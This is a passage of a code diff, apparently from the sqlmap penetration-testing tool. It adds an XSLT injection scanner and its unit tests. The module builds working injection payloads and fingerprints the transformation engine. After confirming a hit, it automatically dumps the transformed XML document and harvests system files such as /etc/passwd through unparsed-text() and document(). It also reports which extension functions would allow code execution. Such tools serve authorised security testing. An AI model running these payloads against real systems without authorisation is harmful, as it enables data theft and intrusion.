lowercase=True) + +# The sentinel is emitted as TWO adjacent literals that only become one string once concat() actually +# runs. An application that merely echoes the parameter reflects "'ab','cd'" - quotes and comma intact - +# so the joined marker "abcd" never appears, while a real transform emits it. Without this the marker sits +# verbatim in the payload and any echo endpoint matches, which reported a plain search page as vulnerable +# and then "read" /etc/shadow out of its own reflected payload. +def _marks(): + half = len(SENTINEL) // 2 + return SENTINEL[:half], SENTINEL[half:] + +XSLT_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Where the injected text lands inside the stylesheet. They need different payloads, so the probe order +# below tries the richer one first and falls back. +CONTEXT_ELEMENT = "element" # between elements: whole XSLT instructions can be introduced +CONTEXT_VALUE = "value" # inside an attribute value: an XPath expression only + +Slot = namedtuple("Slot", ("place", "parameter", "context", "vendor", "payload")) + + +def _delim(place): + return conf.paramDel or (';' if place == PLACE.COOKIE else '&') + + +def _originalValue(place, parameter): + for pair in (conf.parameters.get(place) or "").split(_delim(place)): + if '=' in pair: + name, _, value = pair.partition('=') + if name.strip() == parameter: + return value + return None + + +def _replaceSegment(place, parameter, value): + retVal = [] + for pair in (conf.parameters.get(place) or "").split(_delim(place)): + if '=' in pair: + name, _, old = pair.partition('=') + retVal.append("%s=%s" % (name, value if name.strip() == parameter else old)) + elif pair: + retVal.append(pair) + return _delim(place).join(retVal) + + +def _send(place, parameter, value): + """One request with the target parameter set to `value`, reusing sqlmap's request machinery so the + URL, cookies, headers, proxy and delay all behave exactly as in a normal run.""" + + if conf.delay: + time.sleep(conf.delay) + + saved = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(raise404=False, silent=True) + return page + except Exception as ex: + logger.debug("XSLT probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.parameters[place] = saved + + +def _isError(page): + return bool(page) and re.search(XSLT_ERROR_REGEX, getUnicode(page)) is not None + + +def _vendorFromError(page): + for vendor, regex in XSLT_ERROR_SIGNATURES: + if re.search(regex, getUnicode(page or "")): + return vendor + return None + + +def _echoed(page, needle): + return bool(page) and needle in getUnicode(page) + + +def _valuePayload(expression): + """An XPath expression for the VALUE slot: the input already sits inside select="...", so only the + expression itself is injected.""" + return expression + + +# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a +# sheet using a different prefix simply fails the element-slot probes and is found through the value slot. +_XSL_PREFIX = "xsl" + + +def _elementPayload(expression): + """A whole instruction for the ELEMENT slot. The stylesheet already binds the 'xsl' + prefix (it could not be a stylesheet otherwise), so the instruction compiles in place.""" + return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression) + + +_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload)) + + +def _concat(*parts): + """XPath 1.0 concat() over literals.""" + return "concat(%s)" % ",".join(parts) + + +def _wrap(expression): + """Wrap `expression` so its result arrives between two halves of the sentinel that only join when the + engine evaluates the concat (see _marks).""" + head, tail = _marks() + return _concat(_quote(head), _quote(tail), expression, _quote(head), _quote(tail)) + + +def _captured(page, payload, span="1,120"): + """The text an evaluated probe returned, or None. + + Two independent conditions must hold, because either alone has been shown to be forgeable: + 1. the page carries the JOINED sentinel, which only a real concat() can produce, and + 2. the page does NOT carry the raw injected expression - a compiled transform emits its RESULT, + never its source text, so seeing the expression back means the input was reflected, not run. + """ + + if not page: + return None + page = getUnicode(page) + if payload and getUnicode(payload) in page: + return None # reflected verbatim: nothing was evaluated + head, tail = _marks() + marker = re.escape(head + tail) + match = re.search(r"%s(.{%s}?)%s" % (marker, span, marker), page, re.DOTALL) + return match.group(1) if match else None + + +def _quote(value): + """XPath 1.0 string literal. The language has no escape character, so a value containing both quote + kinds has to be assembled with concat() - and an unquotable path must not be silently mangled into a + payload that means something else.""" + + value = getUnicode(value) + if "'" not in value: + return "'%s'" % value + if '"' not in value: + return '"%s"' % value + parts = [] + for index, chunk in enumerate(value.split("'")): + if index: + parts.append('"\'"') + if chunk: + parts.append("'%s'" % chunk) + return "concat(%s)" % ",".join(parts) + + +def _probeVendor(place, parameter, baseline): + """T1: ask the engine to name itself. A response carrying SENTINEL+vendor+SENTINEL cannot be produced + by an application that merely echoes the parameter - the vendor string is the engine's own.""" + + for context, build in _BUILDERS: + for prop in XSLT_VENDOR_PROPERTIES: + payload = build(_wrap("system-property(%s)" % _quote(prop))) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,120") + if captured is None: + continue + if captured.strip(): + return context, captured.strip(), payload + # An EMPTY capture between the joined halves still proves concat() ran (this engine simply + # leaves the property unset), so it confirms execution without naming a vendor. + return context, None, payload + return None, None, None + + +def _probeEval(place, parameter, baseline): + """T2: no vendor property came back, so prove evaluation with pure XPath arithmetic. The operands are + random per run, so the product exists nowhere in the application.""" + + a, b = randomStr(length=4, alphabet="123456789"), randomStr(length=4, alphabet="123456789") + expected = str(int(a) * int(b)) + for context, build in _BUILDERS: + payload = build(_wrap("string(%s * %s)" % (a, b))) + captured = _captured(page=_send(place, parameter, payload), payload=payload) + if captured is not None and captured.strip() == expected: + return context, payload, "%s*%s=%s" % (a, b, expected) + return None, None, None + + +def _stable(place, parameter, value): + """Send `value` twice and return the page only when both answers agree - a one-off difference is + noise, and detection built on noise is how a scanner invents findings.""" + + first = _send(place, parameter, value) + if first is None: + return None + second = _send(place, parameter, value) + if second is None: + return None + return first if getUnicode(first) == getUnicode(second) else None + + +def _probeCompile(place, parameter, baseline): + """T3: prove the input is COMPILED as part of the stylesheet, for targets that reflect nothing. + + The two slots are told apart by what breaks them, which is a property of XSLT rather than a guess: + inside select="..." a bare apostrophe leaves an unterminated literal and the stylesheet fails to + compile, whereas between elements the very same apostrophe is ordinary text and changes nothing. So a + bare quote that breaks the page means the VALUE slot; a slot that only breaks on a malformed + is the ELEMENT slot. + + 'Breaks' is satisfied either by a parser error (which also names the engine) or - where the + application swallows errors - by a reproducible difference from the untouched baseline. The latter is + the only tier that reaches a target with fixed output and no error surface.""" + + if baseline is None or _isError(baseline): + return None, None, None # no usable reference to compare against + + # `or "x"` would replace an intentionally EMPTY parameter with a value it never had, so the + # baseline would not be the application's own + original = _originalValue(place, parameter) + original = "x" if original is None else original + + # For BOTH slots the 'valid' form has to be one that leaves the page identical to the baseline. Using + # an instruction that EMITS a sentinel for the element slot made that condition unsatisfiable on every + # engine (a real one prints the sentinel, an echo reflects the instruction), so the whole element + # branch was unreachable and element slots with swallowed errors were silently missed. + for context, valid, broken, xpathy in ( + (CONTEXT_VALUE, original, "%s'" % original, "concat(%s,'')" % original), + (CONTEXT_ELEMENT, original, '<%s:value-of select="\'"/>' % _XSL_PREFIX, + _elementPayload("substring('',1,0)")), + ): + brokenPage = _stable(place, parameter, broken) + if brokenPage is None: + continue + + if _isError(brokenPage): + return context, _vendorFromError(brokenPage) or "Generic XSLT", broken + + # No error surface, so the DIFFERENCE is the only signal - and a difference alone proves nothing + # about XSLT. Any parser breaks on a stray apostrophe: a SQL string, an XQuery predicate, a shell + # word. Three conditions have to hold together before this counts: + # 1. the broken form changes the page, + # 2. the untouched form reproduces the baseline (so the parameter is not simply volatile), + # 3. an XPath FUNCTION CALL is accepted and behaves like the baseline - which a SQL or XQuery + # string context cannot do, because there the same text is just a literal that matches + # nothing and changes the page. + # Without (3) this tier would report XSLT injection on every quote-sensitive parameter. + if getUnicode(brokenPage) == getUnicode(baseline): + continue + validPage = _stable(place, parameter, valid) + if validPage is None or getUnicode(validPage) != getUnicode(baseline): + continue + if xpathy is not None: + xpathyPage = _stable(place, parameter, xpathy) + if xpathyPage is None or getUnicode(xpathyPage) != getUnicode(baseline): + continue + return context, "Generic XSLT", broken + + return None, None, None + + +def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")): + """T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through + unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins.""" + + build = dict(_BUILDERS)[context] + uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/") + + candidates = [_ for _ in (("unparsed-text", "unparsed-text(%s)" % _quote(uri)), + ("document", "string(document(%s))" % _quote(uri))) if _[0] in readers] + for _reader, expression in candidates: + payload = build(_wrap(expression)) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH) + if captured and captured.strip(): + return captured[:XSLT_MAX_FILE_LENGTH], expression + return None, None + + +def _dumpSourceDocument(place, parameter, context): + """Exfiltrate the XML document the stylesheet is transforming - the XSLT-native equivalent of the + 'dump' the other non-SQL engines perform automatically. serialises the whole + input tree, which is the actual application data the transformation was built to render.""" + + if context != CONTEXT_ELEMENT: + return None # a value slot can only carry an expression, and copy-of is an instruction + + # copy-of is an instruction, not an expression, so the sentinel cannot be split through concat here. + # The reflection guard in _captured() is what keeps an echo endpoint from handing back its own + # text as if it were the transformed document. + head, tail = _marks() + payload = "%s%s<%s:copy-of select=\"/\"/>%s%s" % (head, tail, _XSL_PREFIX, head, tail) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH) + if captured and captured.strip() and "copy-of" not in captured: + return captured.strip()[:XSLT_MAX_FILE_LENGTH] + return None + + +def _harvestFiles(place, parameter, context): + """Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL + engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that + '--file-read' exists to see impact. + + Two reader primitives, because they cover different engines: unparsed-text() takes any text file but + needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed + XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot + masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST.""" + + harvested = [] + seen = set() + for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)): + for path in paths: + if len(harvested) >= XSLT_MAX_HARVEST: + return harvested + content, how = _readFile(place, parameter, context, path, readers=(reader,)) + if not (content and content.strip()): + continue + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, how)) + return harvested + + +def _probeRce(place, parameter, context): + """Report - never invoke - the extension primitives that would turn this into code execution. Their + mere availability is the finding; exercising them is out of scope for this switch.""" + + build = dict(_BUILDERS)[context] + retVal = [] + for label, expression in XSLT_RCE_PROBES: + payload = build(_wrap(expression)) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40") + # function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit - + # only an explicit true is. Reporting on non-empty would flag every engine as exploitable. + if captured is not None and captured.strip().lower() == "true": + retVal.append(label) + return retVal + + +def _dumpFileRead(remoteFile, content): + try: + localPath = dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save the XSLT-read file to disk: %s" % getUnicode(ex)) + localPath = None + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XSLT file read ('%s'):\n%s" % (remoteFile, content)) + + +def _report(slot, title, extra=None): + lines = ["---", "Parameter: %s (%s)" % (slot.parameter, slot.place), + " Type: XSLT injection", " Title: %s" % title, + " Payload: %s=%s" % (slot.parameter, slot.payload)] + if slot.vendor: + lines.append(" Engine: %s" % slot.vendor) + for line in (extra or []): + lines.append(" %s" % line) + lines.append("---") + conf.dumper.singleString("\n".join(lines)) + + +def xsltScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--xslt' is self-contained: it detects XSLT injection in HTTP parameters, fingerprints " + debugMsg += "the transformation engine and reads files through it. SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + + for place in (_ for _ in XSLT_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing XSLT injection on %s parameter '%s'" % (place, parameter)) + + _orig = _originalValue(place, parameter) + baseline = _send(place, parameter, "x" if _orig is None else _orig) + + context, vendor, payload = _probeVendor(place, parameter, baseline) + title = "XSLT in-band (engine fingerprint)" + detail = None + + if context is None: + context, payload, detail = _probeEval(place, parameter, baseline) + title = "XSLT in-band (arithmetic evaluation)" + vendor = None + + if context is None: + context, vendor, payload = _probeCompile(place, parameter, baseline) + title = "XSLT compile-differential (no reflection)" + detail = None + + if context is None: + continue + + found += 1 + if conf.beep: + beep() + + vendor = vendor or _vendorFromError(baseline) or "Generic XSLT" + slot = Slot(place=place, parameter=parameter, context=context, vendor=vendor, payload=payload) + logger.info("%s parameter '%s' is vulnerable to XSLT injection (engine: '%s', %s context)" + % (place, parameter, vendor, context)) + + extra = [] + if detail: + extra.append("Proof: the engine computed %s" % detail) + + rce = _probeRce(place, parameter, context) + if rce: + extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce)) + logger.warning("the engine exposes %s - this injection can reach code execution; " + "'--xslt' reports it but does not use it" % ", ".join(rce)) + + _report(slot, title, extra) + + # A confirmed finding is exploited automatically, like every other non-SQL switch: whoever + # reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An + # explicit '--file-read' overrides the harvest and is honoured verbatim instead. + if conf.fileRead: + logger.info("reading file '%s' through the XSLT engine" % conf.fileRead) + content, how = _readFile(place, parameter, context, conf.fileRead) + if content: + logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content))) + if how.startswith("string(document("): + logger.warning("document() parses its target as XML, so this is the file's TEXT " + "CONTENT rather than its raw bytes") + _dumpFileRead(conf.fileRead, content) + else: + logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, " + "and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')" + % (conf.fileRead, vendor)) + else: + source = _dumpSourceDocument(place, parameter, context) + if source: + logger.info("dumping the XML document the stylesheet transforms (%d characters)" % len(source)) + conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source)) + + logger.info("harvesting reachable files through the XSLT engine") + harvested = _harvestFiles(place, parameter, context) + for path, content, how in harvested: + logger.info("read '%s' via %s (%d characters)" % (path, how, len(content))) + _dumpFileRead(path, content) + if not harvested: + logger.info("no file could be read automatically (document() needs well-formed XML and " + "unparsed-text() needs an XSLT 2.0+ engine)") + if source or harvested: + logger.info("use '--file-read' to target one specific file instead of this harvest") + + if not found: + if tested: + logger.warning("no parameter appears to be injectable via XSLT injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for XSLT injection") + + logger.info("XSLT scan complete") diff --git a/tests/test_xslt.py b/tests/test_xslt.py new file mode 100644 index 000000000..20e7645b8 --- /dev/null +++ b/tests/test_xslt.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Coverage for the XSLT injection engine (lib/techniques/xslt/inject.py) and the XQuery tier the XPath +engine gained (lib/techniques/xpath/inject.py). + +Network-free: the payload builders, engine fingerprinting and charset construction are pure functions, so +they are asserted directly. The parts that decide a VERDICT get the most attention - a detection tier that +rests on "the page changed" is exactly the kind that invents findings, so its guards are pinned here. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.settings import XSLT_ERROR_REGEX +from lib.core.settings import XSLT_RCE_PROBES +from lib.core.settings import XSLT_VENDOR_PROPERTIES +from lib.core.settings import XQUERY_CAPABILITY_PROBES +from lib.core.settings import XQUERY_FILE_READ +from lib.techniques.xslt import inject as _xslt +from lib.techniques.xpath import inject as _xpath + + +def _source(*parts): + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f: + return f.read() + + +class XsltPayloadTest(unittest.TestCase): + def test_element_payload_is_a_whole_instruction(self): + payload = _xslt._elementPayload("'a'") + self.assertTrue(payload.startswith("luther", "", None, "no results found"): + self.assertFalse(_xslt._isError(page), repr(page)) + + def test_error_regex_is_anchored_to_xslt_vocabulary(self): + """This regex also drives the GLOBAL heuristic hint, so a generic compiler/regex/SQL failure must + not suggest '--xslt' on a target that has nothing to do with XSLT.""" + for page in ("You have an error in your SQL syntax", "Traceback (most recent call last)", + "org.postgresql.util.PSQLException", "500 Internal Server Error", + "gcc: compilation error", "javac: compilation error", + "Invalid expression at line 4", "regex: Invalid expression"): + self.assertIsNone(re.search(XSLT_ERROR_REGEX, page), page) + + def test_error_regex_still_matches_every_real_engine(self): + for page in ("xsltParseStylesheet : problem", "lxml.etree.XSLTParseError: bad", + "XSLTProcessor::importStylesheet(): compilation error", + "System.Xml.Xsl.XslLoadException", "net.sf.saxon.trans.XPathException: XTDE1260", + "javax.xml.transform.TransformerConfigurationException"): + self.assertIsNotNone(re.search(XSLT_ERROR_REGEX, page), page) + + def test_unquotable_paths_do_not_break_the_literal(self): + """XPath 1.0 has no escape character, so a path with both quote kinds needs concat().""" + self.assertEqual(_xslt._quote("/etc/passwd"), "'/etc/passwd'") + self.assertEqual(_xslt._quote("/tmp/o'brien"), '"/tmp/o\'brien"') + self.assertTrue(_xslt._quote("/tmp/bo\"th's").startswith("concat(")) + + def test_vendor_properties_are_xslt_defined(self): + self.assertIn("xsl:vendor", XSLT_VENDOR_PROPERTIES) + for prop in XSLT_VENDOR_PROPERTIES: + self.assertTrue(prop.startswith("xsl:"), prop) + + +class XsltRcePolicyTest(unittest.TestCase): + """The extension surfaces are reported, never invoked - the probes must only ASK whether a function + exists, never call it.""" + + def test_probes_only_test_availability(self): + for label, expression in XSLT_RCE_PROBES: + self.assertTrue(expression.startswith("string(function-available(") + or expression.startswith("string(element-available("), expression) + self.assertNotIn("Runtime.exec", expression) + self.assertNotIn("system(", expression) + + def test_labels_say_what_the_primitive_is(self): + joined = " ".join(label for label, _ in XSLT_RCE_PROBES).lower() + for expected in ("php", "exsl", "saxon", "java"): + self.assertIn(expected, joined) + + +class XQueryTierTest(unittest.TestCase): + def test_capability_probes_are_absent_from_xpath_1_0(self): + """Each probe calls a function XPath 1.0 does not define, which is what makes a positive answer a + demonstrated capability rather than an inference.""" + for probe in XQUERY_CAPABILITY_PROBES: + self.assertTrue(any(fn in probe for fn in ("string-join", "upper-case", "matches")), probe) + + def test_file_read_uses_unparsed_text(self): + self.assertIn("unparsed-text", XQUERY_FILE_READ) + self.assertEqual(XQUERY_FILE_READ % "'/etc/passwd'", "unparsed-text('/etc/passwd')") + + def test_file_charset_covers_tab_and_newline(self): + """The XML-tree charset excludes them; a file recovered with newlines replaced by '?' is useless.""" + self.assertIn(0x09, _xpath._FILE_ORDS) + self.assertIn(0x0a, _xpath._FILE_ORDS) + self.assertIn(ord('&'), _xpath._FILE_ORDS) + + def test_file_charset_literal_carries_no_transport_hazard(self): + """Built from codepoints because the charset contains ' " & and < - a bare '&' is an invalid + entity in an XQuery string literal AND splits a query-string parameter in two.""" + literal = _xpath._FILE_LITERAL + self.assertTrue(literal.startswith("codepoints-to-string((")) + for hazard in ("'", '"', "&", "<"): + self.assertNotIn(hazard, literal) + + def test_file_charset_literal_matches_the_ordinals(self): + codes = [int(_) for _ in re.search(r"\(\((.*)\)\)", _xpath._FILE_LITERAL).group(1).split(",")] + self.assertEqual(codes, _xpath._FILE_ORDS) + + def test_builders_accept_a_charset_override(self): + """The override is what keeps the file read from disturbing XML-tree extraction.""" + builder = _xpath._XPathPayloadBuilder("x", _xpath.Boundary("' or ", " and '1'='1", True)) + self.assertIn("ZZZ", builder.charPresent("t", 1, "ZZZ")) + self.assertIn("ZZZ", builder.charIndexAtLeast("t", 1, 2, "ZZZ")) + self.assertIn(_xpath._CS_LITERAL, builder.charPresent("t", 1)) + + +class SwitchWiringTest(unittest.TestCase): + def test_switch_is_registered_and_mutually_exclusive(self): + from lib.core.optiondict import optDict + self.assertEqual(optDict["Techniques"].get("xslt"), "boolean") + + self.assertIn('("--xslt", conf.xslt)', _source("lib", "core", "option.py")) + + def test_controller_dispatches_the_scan(self): + self.assertIn("from lib.techniques.xslt.inject import xsltScan", _source("lib", "controller", "controller.py")) + + +if __name__ == "__main__": + unittest.main()